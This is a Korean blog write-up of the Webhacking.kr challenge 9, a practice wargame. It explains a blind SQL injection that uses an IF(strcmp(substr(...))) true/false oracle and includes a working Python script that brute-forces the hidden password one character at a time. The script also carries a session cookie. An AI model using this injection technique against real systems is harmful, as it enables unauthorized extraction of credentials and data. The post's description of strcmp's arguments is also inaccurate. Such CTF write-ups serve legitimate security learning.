cdor1's lab
Webhacking.kr 9번 본문
이렇게 생긴 화면이 나오게 되는데
1번 메뉴에 들어가면 Apple
2번 메뉴에 들어가면 Banana
3번 메뉴에 들어가면
이런 화면이 나오는데
password의 length는 11이고 id, no라는 칼럼이 존재한다고 한다.
2번과 비슷하게 sql injection을 진행하면 될 것 같은데
이건 참값과 거짓값을 판단할만한 변수가 보이지 않는다.
그래서 우리는 strcmp를 활용하려고 한다.
strcmp(조건, 거짓, 참) 이렇게 들어가는데
이걸 이용해서 참과 거짓을 우리가 알아낼 수 있다.
?no=IF(strcmp(substr(id, 1, 1), 0x41),0,3)
이런식으로 넣어주면
만약 틀렸을 경우에는 no가 0이되서 아무런 문자열이 출력되지 않을 것이고
맞을 경우에는 no가 3이되어서 우리가 들어갔던 3번 메뉴에 있는 Secret이라는 문자열이 출력될 것이다.
import re, urllib, urllib2
pw=""
ssid = "bc63777d99e85e14a191696c7d11d59b"
string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
print "find pw"
for i in range(1, 12):
for j in range(len(string)):
opener = urllib2.build_opener(urllib2.HTTPHandler)
url = "http://webhacking.kr/challenge/web/web-09/?no="
url += "IF(strcmp(substr(id,"+str(i)+",1),"+hex(ord(string[j]))+"),0,3)"
req = urllib2.Request(url) # send request
req.add_header('Cookie',"PHPSESSID=%s" % ssid)
req.get_method = lambda:'OPTIONS'
data = opener.open(req)
if "Secret" in data.read():
pw += string[j]
print "pw: " + pw
break
print "Fin"
'Security > Web' 카테고리의 다른 글
Webhacking.kr 25번 (0) | 2017.04.03 |
---|---|
Webhacking.kr 18번 (0) | 2017.04.01 |
Webhacking.kr 2번 (3) | 2017.03.30 |
Webhacking.kr 14번 (0) | 2017.03.29 |
Webhacking.kr 12번 (0) | 2017.03.28 |
Comments